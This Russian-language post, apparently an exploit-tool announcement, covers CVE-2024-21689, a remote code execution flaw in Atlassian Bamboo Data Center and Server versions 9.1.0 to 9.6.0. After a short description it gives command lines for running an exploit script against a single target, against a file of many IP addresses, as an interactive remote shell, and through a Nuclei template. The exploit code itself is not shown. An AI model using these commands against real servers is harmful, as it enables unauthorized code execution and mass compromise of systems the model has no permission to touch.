CVE-2024-21689

#CVE-2024–21689 RCE в Bamboo Data Center и Server Atlassian

CVSS Score - 7.6 🔥

Описание

Эта уязвимость RCE (удаленное выполнение кода) высокой степени серьезности, CVE-2024-21689, была введена в версиях 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0 и 9.6.0 Bamboo Data Center и Server. Эта уязвимость удаленного выполнения кода с оценкой CVSS 7.6 позволяет аутентифицированному злоумышленнику выполнять произвольный код, что оказывает высокое влияние на конфиденциальность, высокое влияние на целостность, высокое влияние на доступность и требует взаимодействия с пользователем.

Запуск скрипта

• Режим одной цели:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• Режим файла (для нескольких IP-адресов):
  root@kitploit:~

  python3 exploit.py -f ips.txt -c "whoami"
  

• Режим интерактивной оболочки:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei:
  root@kitploit:~

  nuclei exploit.yaml -f file.txt